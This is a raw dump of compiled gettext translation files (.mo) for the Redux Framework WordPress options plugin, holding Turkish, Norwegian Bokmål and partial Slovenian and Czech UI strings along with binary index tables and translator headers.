ozadja�Položaj ozadja�Ponavljajoče ozadje�Dimenzije ozadja�Dno�Dnevnik sprememb�Kliknite tukaj za aktivacijo poskusne konfiguracijske datoteke.�Zapri�Kopiraj�Zasluge�Izklopite demo način�Privzeto�Izbriši�Opis�Onemogoči�Opusti�Dokumentacija�Prenos�Email naslov�Omogoči�Razširi�Opcije izvoza�Pisava�Barva pisave�Družina pisave�Od�Uvod�Višina�Nasveti�Uvozi�Uvoz / Izvoz�Opcije uvoza�Levo�Izklopljeno�Vklopljeno�Opcije�Objekt opcij�Geslo�Prosim počakajte�Redux Framework�Redux Framework ima vgrajen demo.�Redux generator�Odstrani�Repositorij�Resetirajte vse�Resetiraj sekcijo�Desno�Shrani spremembe�Nastavitve shranjene�Velikost�Slog�Sistemske informacije�Poravnava teksta�Naslov�Za�Zgoraj�URL�Enote�Naloži�Uporabniško ime�Različica %s�Obiskano�Širina�Nimate dovoljenja za dostop do te strani.�Imate spremembe, ki še niso shranjene. Jih želite shraniti sedaj?�donacija�error(jev) najdenih!�������������������������������������������������������������redux-framework/languages/redux-framework-tr_TR.mo��������������������������������������������������0000644�����������������00000037166�14720701300�0016352 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� �����������������������������������������������������5��� ��D���A��4����� ����������������������������(�����:�����J�� ���]�����j�����q�� ���y�� �����.���������� ����������������������� ������� ����� ���'�����1��l���H���������������������� ������������������ �� ����� ���$�� ���/�� ���;�� ���E�� ���R�����_�� ���w�� ����� ����� ����� ���������� ����������������������������������������Z�����U���5���������������������������]�����X���0�� ��������������� ����� �����2��������������� �����!��� �����,�����>�����B�����E�����M�� ���\�� ���}������� �������������D�����U�����e��%����������W�������� ������������ ���!�� ���+�����9�� ���?�����L�����g�����v�������,�����(����������������������� ������� �������� �����(�� ���0�� ���<�� ���G�����R�����b�����q��'�����.��������M��3���S��'����� �����y��������J�����P�����T�� ���X�����d�����h��(���n���������������������� ��������������������U��������;��F��� �����g����������������� ���������� ����� �����;�����F���>��E�����K�����b��� ��L���z ��3��� ��-��� ��/���)!��a���Y!��`���!�����"�����%"�����."�����C"��J���X"�����"��,���"��,���"�����#�����-#�����?#��\��V#�����&��&���&�����&�����&�� ���'����� '�����"'��%���)'�����O'��N���b'��Z���'��K��� (��"���X(�� ���{(�����(�����(�����(�����(�����(�����(�����(�����)�� ��� )�����)�����-)��J���<)�����)�����)�����)�����)��(���)�� ���)������*�� ���*�� ���*�����*�����4*�����*�����*�����*�����*�����*�� ���+�� ���+�����+�� ���<+�����G+�����W+�����h+�����y+�����+��%���+�����+�����+�����+�����+�����,�����',�� ���0,�� ���:,�����E,�� ���U,��*���`,�����,�� ���-�����-��j���-��W���.�� ���Z.�����h.�����.�����.�����.��}���.�����L/�����/�����/�����/�����/�����0��3���"0�����V0�����f0�����n0��$���v0�����0�����0�����0�� ���0�����0��/���0�� ���1�����1�����$1�����51�����2�����.2��(���>2��+���g2�����2��|���2�����#3�����,3�����43�����93�����M3�����a3�����f3��&���}3�����3�����3�����3��%���3��0��� 4�����;4�����A4�����I4�����_4�����e4�����j4�� ���s4�����}4�����4��!���4�����4�����4�����4�����4��(���o5��(���5�����5��1���5��0���5��)���)6�����S6�����6�����6�����7�����7�����7�����7��/���7�����K7�� ���R7�����^7�����n7�� ���v7�����7��"���7�����7��X���7����8��F���9�� ���X9�����y9��!���9�����9�� ���9�� ���9�����9�� ���9��.���:��>���7:��H���v:��P���:��T���;��V���e;��E���;��9���<��D���<<��V���<��V���<�� ���/=�����<=�����E=�����X=��K���j=�����=��,���=��3���=�����1>�����N>�����a>�����1����������������������������%�������������� ���Q���������������,���W��������� �������i���?����������6���9������m������P���������S�����������������_���5�������f���=������'���\���x���N�������I������#�������������o�������������V���u�����������������E���r�������$��������������������*���e���g�����������������������J���^������|��������������Z�����������������3�����������������&���F���z�����������������k�������������~����������A������T�������X������������������D������������p�����������7�������q���Y���>������L���������n���H���d����������4���;���M�������������h�����������K�������������������������(���"����������R����������B���������2���c���/���<�����������)������t��� ���������� ��� �����������O�����������������l���j���}�������C�������������+������a���G������:����������v���.��������������8���������������������������]������������� �������[���0���b���{���`��������������-���!���������w�������y�����������s���U���@����Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Copy Data�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Download Data File�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from File�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Version�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What is Redux Framework?�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-15 14:12+0000 Last-Translator: Samet Köseoğlu <skoseoglu@kusurat.org> Language-Team: Turkish (Turkey) (http://www.transifex.com/projects/p/redux-framework/language/tr_TR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: tr_TR Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Demo Modunu Etkinleştir�Geliştirme Eklentilerini Etkinleştir�Etkin�%s Ekle�Başka Ekle�Galeri Ekle/Düzenle�Tümü�Varsayılanların Hepsi Restore Oldu!�İzlemeye izin ver�Emin misiniz? Sıfırlama özelleştirilmiş tüm değerleri kaybettirecektir.�Emin misiniz? Sıfırlama bu kısımdaki tüm özelleştirilmiş değerleri kaybettirecek.�Emin misiniz? Sıfırlama tüm özelleştirilmiş değerleri kaybettirecek.�Otomatik eylem gerçekleşti: "%s"�Arkaplan Eki�Arkaplan Şablonu�Arkaplan Orijini�Arkaplan Konumu�Arkaplan Tekrarı�Arkaplan Boyutu�Yedek Yazıtipi Ailesi�Kenarlık tarzı�Alt�Tarayıcı�Değişiklik Günlüğü�Galeri Temizle�Örnek yapılandırma dosyasını etkinleştirmek için buraya tıklayın.�Kapat�Veriyi Kopyala�Katkı sağlayanlar�Demo Modunu Etkisizleştir�Geliştirme Eklentilerini Etkisizleştir�Varsayılan�Sil�Açıklama�Geliştirici�Geliştirici Modu Etkin�Redux'ın özelliklerini harika şekilde artıran eklentilerimizin olduğunu biliyor muydunuz? Dahasını öğrenmek için %1$s�Etkisizleştir�Gizle�İzlemeye izin verme�Veri Dosyasını İndirin�Email adresiniz�Etkinleştir�Genişlet�Seçenekleri Dışarı Aktar�Eklentiler�Yazıtipi Rengi�Yazıtipi Ailesi�Yazıtipi Boyutu�Yazıtipi Alt Kümeleri�Yazıtipi Varyantı�Yazıtipi Kalınlığı & Tarzı�Yazıtipi rengi�Yazıtipi ailesi�Yazıtipi skripti�Yazıtipi tarzı�Yazıtipi alt kümeleri�Şundan:�Ön Sayfa�Başlarken�Google Webfonts�Yükseklik�Panelimizi geliştirmek için yardım edin�Geçerli seçenek ayarlarınızı buradan kopyalayabilirsiniz/indirebilirsiniz. Herhangi yanlışlıkta yedek olarak kullanabileceğiniz gibi bu sitedeki (ya da başka sitedeki) ayarlarınızı restore amaçlı kullanabilmeniz için güvende tutunuz.�Tavsiyeler�Hover�Öyleyse, lütfen %1$s ve Redux'ın geliştirme sürecini ileri taşımak için %2$s yapmayı düşünün.�Redux hakkında hiçbir şey kaçırmak istemiyorsanız lütfen bültenimize abone olun�İçeri Aktar�İçeri Aktar / Dışarı Aktar�İçeri Aktarma Seçenekleri�Dosyadan içe aktar�URL'den içeri aktar�Birbaşka sitenin seçenek setine giden URL'yi giriniz ve o sitenin seçeneklerini yüklemek için İçeri Aktar'a basınız.�Aşağıya yedek dosyanızın yolunu giriniz ve sitenizin seçeneklerini yedekten restore etmek için İçeri Aktar'a basınız.�Daha fazla bilgi alın�Sol�Harf Aralığı�Redux'ı sevdiniz mi?�Satır Yüksekliği�"plugins_loaded" eyleminden sonra çağırılmalı.�Bağlantı ismi�Yeni %s�Bülten�Bu tipte hiçbir eleman bulunamadı.�Medya seçili değil�Kapalı�Açık�Seçenekler�Seçenekler Nesnesi�Seçenek paneli %1$s kullanılarak oluşturuldu�PHP Sürümü�Şifre�Lütfen Bekleyin�Lütfen yapılandırmaları, eklentileri ve temaları test etmek ve bunların framework'ümüz ile uyumluluğunu sağlamak için anonim kullanım istatistikleri toplamamıza izin vererek panelimizi geliştirmemize yardımcı olun.�Redux Eklentileri�Redux Framework�Redux Framework Değişiklik Günlüğü�Redux Framework gömülü bir demoya sahip.�Redux Jeneratörü�Redux WordPress tema ve eklentileri için basit, gerçek genişletilebilir bir yapılandırma seçenekleri framework'üdür.�Sıradan�Kaldır�Repo�Tümünü Sıfırla�Kısımı Sıfırla�Sağ�Değişiklikleri Sakla�Kısım Varsayılanları Restore Oldu!�Bir eleman seç�Ayarlar İçeri Aktarıldı!�Ayarlar Saklandı!�Ayarlar değişti, saklamalısınız!�Nesneyi Javascript Konsol Nesnesi olarak göster�Boyut�Sürgü�Standart Yazıtipleri�Durum�Tarz�Abone ol�Altsetler�Destek�Sistem Bilgisi�Team Redux (çeviri: mapazarbasi)�Metin Hizalama�Metin Dekorasyonu�Metin Dönüşümü�Aşağıdaki klasör ve dosyalar halen <strong>Redux</strong> klasörünüzde bulunuyor. Bu tema kontrolünde soruna neden olabilir.�Redux Framework 'ü geliştiren insanlar�Bilinmeyen eylem "%s" ile değiştirildi�Tema�Bu alan boş olamaz. Lütfen bir değer belirtin.�Bu alan geçerli bir renk değeri olmak zorunda.�Bu alan geçerli bir tarih olmak zorunda.�Bu panel Redux'ın birçok özelliğini uygulamalı gösterir. Derinlere inmeden önce, %1$s 'i gözden geçirerek hızınızı artırmanızı tavsiye ederiz.�Başlık�Şuna:�Üst�Saydam�URL�Birimler�%2$s için belirlenmiş bilinmeyen eylem "%1$s"�Yükle�Kullanıcı�Kullanıcıadı�Sürüm�Sürüm %s�%s�Eklenti ana sayfasını ziyaret et�Ziyaretlenmiş�UYARI! Bu tüm varolan seçenek değerlerinin üzerine yazacak, lütfen dikkatli olunuz!�Üstünlük sağlamak ister misiniz? %1$s eklentisini kullanın. Özelleştirilmiş bir kalıp tema oluşturabilir veya a standalone admin folder complete with all things Redux (Underscores ve TGM yardımıyla). Şimdi deneyin ve başağrısından kurtulun.�Uyarı: Bu seçenek paneli javascript olmaksızın doğru çalışmaz!�Redux Framework 'e hoş geldiniz�Redux Framework %s Hoşgeldiniz�Redux Demo Paneli'ne Hoşgeldiniz�Redux Framework Nedir?�Yeni Ne Var?�Genişlik�Kelime Aralığı�İşliyor...�Bu sayfaya erişmek için yeterli izniniz yok.�Saklanmamış değişiklikleriniz var. Saklamak ister misiniz?�Saklanmamış değişiklikleriniz mevcut. Şimdi saklamak ister misiniz?�Bu alana herhangi HTML etiketi giremezsiniz, tüm HTML etiketleri kaldırıldı.�Bu alana herhangi özel karakter giremezsiniz, tüm özel karakterler kaldırıldı.�Bu seçenek için virgülle ayrılmış nümerik değer listesi girmek zorundasınız.�Bu seçenek için geçerli bir nümerik değer girmek zorundasınız.�Bu seçenek için geçerli bir URL girmek zorundasınız.�Bu seçenek için geçerli bir e-posta adresi girmek zorundasınız.�Geçerli seçimleriniz bu önsetteki değerlerle değiştirilecek. Onaylıyor musunuz?�Geçerli seçimleriniz bu önsetteki değerlerle değiştirilecek. Onaylıyor musunuz?�tıklanıyor�bağış�hata(lar) bulundu!�eklentiler dizini�uygun okuma/yazma izinleri edinin ya da aşağıya FTP bilgilerinizi girin.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�WordPress.org'a değerli görüşlerinizi bırakın�mouse üzerinde gezdiriliyor�dokümantasyonumuz�uyarı(lar) bulundu!�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-nb_NO.mo��������������������������������������������������0000644�����������������00000036247�14720701300�0016312 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ��������������������� ��������������� �����1�����5�����L��5���[��D�����4����� ��� �����,�����B�����R�����d�����x������������ ���������� ����� �����.�����������������������+�����J�����R�� ���Y�� ���e�����o��l�������������������� ��������'�����.�����5�� ���D�� ���O�� ���[�� ���e�� ���r������� ����� ����� ����� ����� ��������������������������������������������������Z�����U��������D�����K�����[�����j��]���z��X��������1�����6�� ���E�� ���Q��2���]������������ �����!������������������������������ ���������� ���#�����/�����������������%��������6��W���F����������������� ����� ���������� �������������������������,���*��(���W��������������������������� ���������� ����� ����� ��������������������'����������.���E�����t��3���z��'����� �����y��������q�����w�����{�� ���������������(������������������������� ��������������������U��� �����b��F���G����������������� ���������� ����� �����;�����F���L��E�����K�����b���% ��L��� ��3��� ��-��� !��/���7!��a���g!��`���!�����*"�����3"�����<"�����Q"��J���f"�����"��,���"��,���"�����%#�����;#�����M#��t��d#�����&�����&�����'�� ��� '�� ���'�����%'�����<'��'���A'�����i'��9���y'��9���'��9���'��!���'(�����I(�����Z(�����i(�����}(�����(�����(�����(�� ���(�����(�� ���(�� ���(��0���(�����#)�� ���()�����2)�����G)�����c)�����l)�� ���r)�����~)�����)��l���)�� ���*�����*�����*�� ���2*�����?*�����G*�����M*�� ���e*�� ���r*�����~*�����*�� ���*�����*�� ���*�� ���*�� ���*�� ���*�����*������+�����+�����+�����(+�����/+�����M+�����!,�����&,�����,��[���,��_���!-�����-�����-�����-�����-��v���-��~���:.�����.�� ���.�����.�� ���.��5���.�����!/�����&/�� ���,/��&���7/�����^/�����p/�����s/�� ���w/�����/��,���/�����/�����/�����/�� ���0�����0�����0��%���0�����0��L��� 1�����X1�����_1�����e1�����j1�����{1�����1�����1�����1�����1�����1�����1��+���2��#���02�� ���T2�����_2�����d2�����s2�����z2�����2�� ���2�����2�� ���2�����2�� ���2�����2��s���2��)���Q3�����{3��,���%4�����R4��:���W4��*���4��&���4�����4�����k5�����r5�����u5�� ���z5�����5�����5��+���5�����5�����5�� ���5�����5�� ���5�����5�����5�����6��d���6�����~6��F���W7�����7�� ���7�����7�� ���7����� 8�� ���8�� ���8��?���'8��9���g8��9���8��R���8��X���.9��R���9��6���9��2���:��<���D:��q���:��q���:�����e;�����l;�����u;�����;��^���;�����;��,���<��-���<<�����j<�����y<�����<�����T�������V���x���?������� ���%����������1���p������A������a�������(�����������b���������D�������������W���=��������������������������-������2������������������4������l���6���U�����������*������M�������������������� �������`���]���.�������$���\������r��������������������3������#���������/������������ ���{�����������o���������������� ����������w���C���:�����������������e���t���@�������������������������'������|���������� ���[���z���������!���B������m���R��������������u���S���d���k�������I������������F����������������;��� ������"�������Q���^��������������q���h���G������0���������X������P������,������c��������������7���&�������L���5���<��������������������������J�������g������Z���O����������������������������j���f����������E���}����������y����������n���v���+���>���_���N�������Y�������H���������~���i������������������������������������������8���������s���K���9���)��������Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Norwegian Bokmål (Norway) (http://www.transifex.com/projects/p/redux-framework/language/nb_NO/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: nb_NO Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktiver demo-modus�Aktiver utviklingstillegg�Aktiv�Legg til %s�Legg til mer�Legg til/Fjern galleri�Alle�Alle standardinnstillinger tilbakesatt!�Tillatt sporing�Er du sikker? Nullstilling vil fjerne alle innstillinger.�Er du sikker? Nullstilling vil fjerne alle innstillinger.�Er du sikker? Nullstilling vil fjerne alle innstillinger.�Automatisk handling utført: "%s"�Bakgrunnsvedlegg�Bakgrunnsklipp�Bakgrunnsplassering�Bakgrunnsjustering�Gjenta bakgrunn�Bakgrunnsstørrelse�Backup skriftfamilie�Rammestil�Bunn�Endringslogg�Rens galleri�Klikk her for å aktivere prøvekonfigurasjonen.�Lukk�Kreditter�Deaktiver demo-modus�Deaktiver utviklingstillegg�Standard�Fjern�Beskrivelse�Utvikler�Utviklingsmodus påskrudd.�Viste du at vi har tillegg, som kan kraftig forebedre mulighetene ved Redux? Se vårt %1$s for å lære mer!�Deaktiver�Lukk�Ikke tillat sporing�Epostadresse�Aktiver�Utvid�Eksporter innstillinger�Skriftsfarge�Fontfamilie�Skriftstørrelse�Skriftundersett�Fontvariant�Skriftvekt og -stil�Skriftsfarge�Skriftfamilie�Fontskript�Skriftstil�Skriftundersett�Fra�La oss sette i gang�Google Webfonts�Høyde�Hjelp å forbedre vårt panel�Her kan du ta kopi eller laste ned dine nåværende innstilling. Hold dette sikkert, siden du kan bruke den som en sikkerhetskopi om noe skulle gå galt, eller om du vil sette tilbake siden (eller en annen side)�Hint�Hint er verktøytips som kommer opp når du %d hint-ikonet, som gir deg opplysninger om feltet. De kan bli %d klikket på, ved å bruke linken nedenfor.�Sveve�Hvis så, vennligst %1$s og vurder å gi oss en %2$s for å fortsette utviklingen av Redux.�Hvis du vil følge med på hva som skjer rundt Redux, vennligst meld deg på nyhetsbrevet vårt�Importer�Import / Eksport�Importer innstillinger�Importer fra URL�Legg inn URL-en til en annen sides innstillinger, og trykk på «Importer» for å laste innstillingene fra den siden.�Velg din sikkerhetskopi-fil nedenfor, og trykk på «Importer» for å gjennopprette dine innstillinger fra en sikkerhetskopi.�Venstre�Bokstavdeling�Liker du Redux?�Linjehøyde�Må være kalt inn etter "plugins_loaded"-handlingen.�Navn�Ny %s�Nyhetsbrev�Ingen elementer av denne typen funnet.�Ingen medie valgt�Av�På�Innstillinger�Innstillingsobjekt�Innstillingspanel opprettet ved bruk av %1$s�Passord�Vennligst vent�Vennglist hjelp oss å forebedre vårt panel ved å la oss anonymt hente ned brukstatstikk, slik at vi vet hvilke konfigurasjoner, utvidelser og temaer å teste for å sikre kompatiblitet.�Redux Tillegg�Redux Rammeverk�Redux Rammeverks endringslogg�Redux Rammeverk har en innebygd demo.�Redux Generator�Redux er et enkelt, utvidbart rammeverk for Wordpress temaer og -utvidelser.�Normal�Fjern�Depo�Tilbakestill alt�Tilbakestill seksjon�Høyre�Lagre endringer�Seksjonsstandard tilbakestilt!�Velg et element�Innstillinger importert!�Innstillinger lagret�Innstillingene er endret, du bør lagre de!�Vis objekter i Javascript-konsollen�Størrelse�Skyv�Standardskrift�Status�Stil�Abonner�Undersett�Systeminformasjon�Team Redux�Tekstjustering�Tekstdekor�Tekst-transformering�De følgende mapper og filer er fremdeles i din <strong>Redux</strong> mappe. De vil forårsake feil i teamsjekken.�Menneskene som utvikler Redux Rammeverket�Temaet du tester har %s innbygd. Vi vil gjerne invitere deg til å lese %Theme-Check-Documentation%s slik at du forstår noe av advarselene som du vil se, grunnet Redux.�Den ukjent handlingen ble erstattet med "%s"�Tema�Dette feltet kan ikke være tomt, vennligst angi en verdi.�Dette feltet må være en gylid fargeveri.�Dette feltet må være en gyldig dato.�Dette panelet demonstrerer de mange mulighetene som finnes med Redux. Før du setter i gang, foreslår vi at du setter deg inn i %1$s.�Tittel�Ti�Topp�Gjennomsiktig�URL�Enheter�Ukjent handling "%1$s" spesifisert for %2%s�Last opp�Bruker�Brukernavn�Versjon�Versjon %s�Se %s�Gå til utvidelsens nettside�Besøkt�ADVARSEL! Dette vil overskrive samtlige av de nåværende innstillingene. Fortsett med forsiktighet.�Vil du komme i gang kjapt? Bruk %1$s. Denne vil opprette et skreddersydd tema, eller en administrasjons-mappe komplett med alt Redux trenger (med hjelp av Underscores og TGM). Spar deg for hodebryet - og prøv i dag!�Advarsel - Dette innstillingspanelet vil ikke fungere uten Javascript!�Velkommen til Redux Rammeverk.�Velkommen til Redux Rammeverk %s�Velkommen til Redux demo-panel!�Hva er nytt�Bredde�Orddeling�Arbeider…�Du har ikke nok rettigheter til å få tilgang til denne siden.�Du har endringer som ikke er lagret. Vil du lagre de nå?�Du har endringer som ikke er lagret. Vil du lagre de nå?�Du må ikke skrive inn noe HTML i dette feltet, alle HTML-knagger vil bli fjernet.�Du må ikke skrive inn noe spesialtegn i dette feltet, alle spesialtegn vil bli fjernet.�Du må angi en komma-separert liste med numeriske verdier for denne innstillingen.�Du må angi en numerisk verdi for denne innstillingen.�Du må angi en gyldig URL for denne innstillingen.�Du må angi en gyldig e-postadresse for denne innstillingen.�Dine nåværende innstillinger vil bli erstattet med verdier fra disse forhåndsinnstillingene. Vil du fortsette?�Dine nåværende innstillinger vil bli erstattet med verdier fra disse forhåndsinnstillingene. Vil du fortsette?�klikke�donasjon�feil ble funnet!�tilleggskatalog�den har de nødvendige skrive- og leserettigheter, eller skriv inn FTP-opplysningene nedenfor.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�legg igjen en omtale om oss på Wordpress.org�tar musen over�vår dokumentasjon.�advarsel(-er) ble funnet!����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-cs_CZ.mo��������������������������������������������������0000644�����������������00000036713�14720701300�0016316 0����������������������������������������������������������������������������������������������������ustar�00����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������< ���������������� �����)�����0�����7�����@�����Q�����U�����l��5���{��D�����4����� ���+�����L�����b�����r���������������������� ���������� ����� �����.��������(�����.�����6�����K�����j�����r�� ���y�� ����������l������������������#�� ���9�����G�����N�����U�� ���d�� ���o�� ���{�� ����� ���������� ����� ����� ����� ����� ���������������������������������6���������� �������Z�����U��������d�����k�����{�������]�����X��������Q�����V�� ���e�� ���q��2���}������������ �����!���������������������������� �� ��������:�� ���C�����O�����������������%���0�����V��W���f����������������� ����� ���������� ������������������'�����:��,���J��(���w��������������������������� ��������������� ����� ����� ������������������"��'����������.���m�������3�����'����� �����y�������������������� 